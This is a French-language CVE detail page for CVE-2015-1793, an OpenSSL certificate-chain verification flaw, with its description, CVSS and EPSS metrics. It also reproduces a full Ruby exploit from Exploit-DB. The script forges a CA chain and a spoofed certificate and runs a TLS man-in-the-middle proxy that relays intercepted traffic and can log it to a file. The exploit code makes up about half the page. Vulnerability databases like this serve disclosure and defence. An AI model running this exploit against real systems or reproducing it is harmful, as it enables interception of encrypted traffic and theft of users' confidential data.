CVE-2015-1793 Détail

CVE-2015-1793

Score / Gravité

6.5

Moyen

EPSS

15.4%V3

Vecteur

Network

Publié

2015-07-09
17h00 +00:00

Modifié

2018-11-30
19h57 +00:00

Liens officiels

CVE.org

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Descriptions du CVE

The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly process X.509 Basic Constraints cA values during identification of alternative certificate chains, which allows remote attackers to spoof a Certification Authority role and trigger unintended certificate verifications via a valid leaf certificate.

Informations du CVE

Faiblesses connexes

CWE-ID	Nom de la faiblesse	Source
CWE-254	Category : 7PK - Security Features Software security is not security software. Here we're concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management.

Métriques

Métriques	Score	Gravité	CVSS Vecteur	Source
V3.0	6.5	MEDIUM	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. Low There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Low Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. None There is no impact to availability within the impacted component. Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	[email protected]
V2	6.4		AV:N/AC:L/Au:N/C:P/I:P/A:N	[email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 38640

Date de publication : 2015-11-04 23h00 +00:00
Auteur : Ramon de C Valle
EDB Vérifié : No

#!/usr/bin/env ruby # encoding: ASCII-8BIT # By Ramon de C Valle. This work is dedicated to the public domain. require 'openssl' require 'optparse' require 'socket' Version = [0, 0, 1] Release = nil class String def hexdump(stream=$stdout) 0.step(bytesize - 1, 16) do |i| stream.printf('%08x ', i) 0.upto(15) do |j| stream.printf(' ') if j == 8 if i + j >= bytesize stream.printf(' ') else stream.printf('%02x ', getbyte(i + j)) end end stream.printf(' ') 0.upto(15) do |j| if i + j >= bytesize stream.printf(' ') else if /[[:print:]]/ === getbyte(i + j).chr && /[^[:space:]]/ === getbyte(i + j).chr stream.printf('%c', getbyte(i + j)) else stream.printf('.') end end end stream.printf("\n") end end end options = {} OptionParser.new do |parser| parser.banner = "Usage: #{parser.program_name} [options] host cacert key cert" parser.separator('') parser.separator('Options:') parser.on('-H', '--local-host HOST', 'Local host') do |host| options[:local_host] = host end parser.on('-P', '--local-port PORT', 'Local port') do |port| options[:local_port] = port end parser.on('-d', '--debug', 'Debug mode') do options[:debug] = true end parser.on('-h', '--help', 'Show this message') do puts parser exit end parser.on('-o', '--output FILE', 'Output file') do |file| options[:file] = File.new(file, 'w+b') end parser.on('-p', '--port PORT', 'Port') do |port| options[:port] = port end parser.on('-v', '--verbose', 'Verbose mode') do options[:verbose] = true end parser.on('--pass-phrase PASS_PHRASE', 'Pass phrase for the key') do |pass_phrase| options[:pass_phrase] = pass_phrase end parser.on('--subject SUBJECT', 'Subject field for the fake certificate') do |subject| options[:subject] = subject end parser.on('--version', 'Show version') do puts parser.ver exit end end.parse! local_host = options[:local_host] || '0.0.0.0' local_port = options[:local_port] || 443 debug = options[:debug] || false file = options[:file] || nil host = ARGV[0] or fail ArgumentError, 'no host given' port = options[:port] || 443 verbose = options[:verbose] || false cacert = ARGV[1] or fail ArgumentError, 'no cacert given' key = ARGV[2] or fail ArgumentError, 'no key given' pass_phrase = options[:pass_phrase] || nil cert = ARGV[3] or fail ArgumentError, 'no cert given' subject = options[:subject] || "/C=US/ST=California/L=Mountain View/O=Example Inc/CN=#{host}" root_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA') root_ca_key = OpenSSL::PKey::RSA.new(2048) root_ca_cert = OpenSSL::X509::Certificate.new root_ca_cert.issuer = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA') root_ca_cert.not_after = Time.now + 86400 root_ca_cert.not_before = Time.now root_ca_cert.public_key = root_ca_key.public_key root_ca_cert.serial = 0 root_ca_cert.subject = root_ca_name root_ca_cert.version = 2 extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, root_ca_cert) root_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true)) root_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true)) root_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash')) root_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new) inter_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Intermediate Inc./CN=Intermediate CA') inter_ca_key = OpenSSL::PKey::RSA.new(2048) inter_ca_cert = OpenSSL::X509::Certificate.new inter_ca_cert.issuer = root_ca_name inter_ca_cert.not_after = Time.now + 86400 inter_ca_cert.not_before = Time.now inter_ca_cert.public_key = inter_ca_key.public_key inter_ca_cert.serial = 0 inter_ca_cert.subject = inter_ca_name inter_ca_cert.version = 2 extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, inter_ca_cert) inter_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true)) inter_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true)) inter_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash')) inter_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new) subinter_ca_cert = OpenSSL::X509::Certificate.new(File.read(cacert)) subinter_ca_cert.issuer = inter_ca_name subinter_ca_cert.sign(inter_ca_key, OpenSSL::Digest::SHA1.new) leaf_key = OpenSSL::PKey::RSA.new(File.read(key), pass_phrase) leaf_cert = OpenSSL::X509::Certificate.new(File.read(cert)) fake_name = OpenSSL::X509::Name.parse(subject) fake_key = OpenSSL::PKey::RSA.new(2048) fake_cert = OpenSSL::X509::Certificate.new fake_cert.issuer = leaf_cert.subject fake_cert.not_after = Time.now + 3600 fake_cert.not_before = Time.now fake_cert.public_key = fake_key.public_key fake_cert.serial = 0 fake_cert.subject = fake_name fake_cert.version = 2 extension_factory = OpenSSL::X509::ExtensionFactory.new(leaf_cert, fake_cert) fake_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:FALSE', true)) fake_cert.add_extension(extension_factory.create_extension('keyUsage', 'digitalSignature,nonRepudiation,keyEncipherment')) fake_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash')) fake_cert.sign(leaf_key, OpenSSL::Digest::SHA1.new) context = OpenSSL::SSL::SSLContext.new context.cert = fake_cert context.extra_chain_cert = [leaf_cert, subinter_ca_cert] context.key = fake_key tcp_server = TCPServer.new(local_host, local_port) proxy = OpenSSL::SSL::SSLServer.new(tcp_server, context) puts 'Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]] if debug || verbose loop do Thread.start(proxy.accept) do |client| puts 'Accepted connection from %s:%d' % [client.peeraddr[2], client.peeraddr[1]] if debug || verbose context = OpenSSL::SSL::SSLContext.new(:TLSv1) context.verify_mode = OpenSSL::SSL::VERIFY_NONE tcp_socket = TCPSocket.new(host, port) server = OpenSSL::SSL::SSLSocket.new(tcp_socket, context) server.connect puts 'Connected to %s:%d' % [server.peeraddr[2], server.peeraddr[1]] if debug || verbose loop do readable, = IO.select([client, server]) readable.each do |r| data = r.readpartial(4096) data.hexdump($stderr) if debug puts '%d bytes received' % [data.bytesize] if debug || verbose if file file.write(data) file.flush file.fsync end case r when client count = server.write(data) server.flush data.hexdump($stderr) if debug puts '%d bytes sent' % [count] if debug || verbose when server count = client.write(data) client.flush data.hexdump($stderr) if debug puts '%d bytes sent' % [count] if debug || verbose end end end client.close server.close end end proxy.close